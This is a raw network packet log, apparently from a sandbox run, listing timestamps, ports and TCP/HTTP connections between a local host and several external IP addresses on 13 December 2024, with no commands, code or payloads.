Dec 13, 2024 01:51:34.601535082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.601660013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.602412939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.602440119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.602479935 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.602495909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.603532076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.603547096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.603791952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.604422092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.604486942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.604532957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.604585886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.605413914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.605552912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.605618954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.606410027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.606473923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.606508970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.606561899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.607398033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.607450008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.607518911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.607566118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.608458996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.608541012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.608544111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.608594894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.609409094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.609467983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.609536886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.609584093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.610409021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.610485077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.610527992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.610575914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.611402035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.611459970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.611501932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.611551046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.612385988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.612433910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.612503052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.612550974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.613394976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.613450050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.613492966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.613540888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.614413977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.614470005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.614512920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.614559889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.615382910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.615485907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.615540981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.616367102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.616427898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.616468906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.616514921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.617362022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.617420912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.617463112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.617512941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.618408918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.618470907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.618527889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.618577003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.619374990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.619481087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.619541883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.620357990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.620417118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.620477915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.620526075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.621381044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.621436119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.621467113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.621514082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.722373009 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:35.106188059 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:35.106290102 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:37.013559103 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:37.013848066 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:37.133675098 CET	80	49836	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:37.133725882 CET	80	49805	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:37.133774042 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:37.133788109 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:37.135049105 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:37.254776001 CET	80	49836	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:38.087678909 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:38.207515955 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:38.484039068 CET	80	49836	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:38.484517097 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:38.487587929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:38.487941980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:38.596127033 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:38.596256971 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:38.607832909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:38.607867956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:38.607961893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:38.607968092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:38.608129978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:38.727807045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934122086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934158087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934175014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934191942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934302092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934318066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934330940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934340000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:39.934346914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934340000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:39.934362888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934397936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:39.934418917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:39.934418917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:39.934418917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:39.934463978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.003932953 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:40.003968954 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:40.004055977 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:40.007462978 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:40.007474899 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:40.055269003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.055391073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.055581093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.059416056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.059504986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.059581995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.126245022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.126267910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.126354933 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.130268097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.130374908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.130553961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.138689041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.139252901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.141747952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.141834021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.141896963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.150177956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.150279999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.150355101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.158508062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.158616066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.158685923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.166913033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.167032957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.167107105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.175545931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.175673008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.175765991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.183700085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.183815956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.183893919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.192184925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.192275047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.192373037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.200550079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.200759888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.200834990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.207863092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.207976103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.208036900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.215205908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.219158888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.318191051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.318311930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.318387985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.320447922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.320554018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.320614100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.324989080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.325084925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.325149059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.329431057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.329457998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.329514980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.333885908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.333961964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.334024906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.338462114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.338557959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.338618994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.338670969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.342979908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.343081951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.343141079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.347537041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.347629070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.347687960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.352030993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.352121115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.352185965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.356559992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.356656075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.356709003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.361042976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.361152887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.361167908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.361203909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.365561962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.365694046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.365755081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.370106936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.370157003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.370203018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.370296955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.374649048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.374746084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.374816895 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.379134893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.379163027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.379230022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.383631945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.383744001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.383806944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.388180971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.388236046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.388288021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.388375044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.392702103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.392770052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.392812967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.393120050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.397192001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.397298098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.397355080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.401721954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.401770115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.401794910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.401839018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.406248093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.406316042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.406341076 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.406400919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.410732031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.410840988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.410898924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.415272951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.415352106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.415441990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.415591955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.419775009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.419848919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.419894934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.419894934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.510719061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.510761023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.510905981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.510905981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.512234926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.512377977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.512443066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.512443066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.515954018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.516001940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.516140938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.516140938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.519462109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.519716024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.519967079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.522913933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.523001909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.523061991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.523307085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.526464939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.526540041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.526654005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.527029037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.529737949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.529799938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.529802084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.529851913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.533004045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.533062935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.533135891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.533298016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.536195040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.536294937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.536448956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.536448956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.539453030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.539673090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.539808035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.539808035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.542541027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.542948008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.543150902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.543471098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.545576096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.545666933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.545684099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.545770884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.548604012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.548721075 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.548789978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.549180031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.551528931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.551672935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.551830053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.554547071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.554809093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.554820061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.554923058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.557575941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.557646036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.557781935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.560540915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.560599089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.560636044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.560693026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.563465118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.563586950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.563646078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.566446066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.566679001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.566754103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.569443941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.569510937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.569581032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.569633007 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.572421074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.572499037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.572572947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.572633982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.575584888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.575649023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.575692892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.575748920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.578419924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.578480959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.578572989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.578629971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.581397057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.581614017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.581676960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.584389925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.584469080 CET	49839	80	192.168.2.4	31.41.244.11
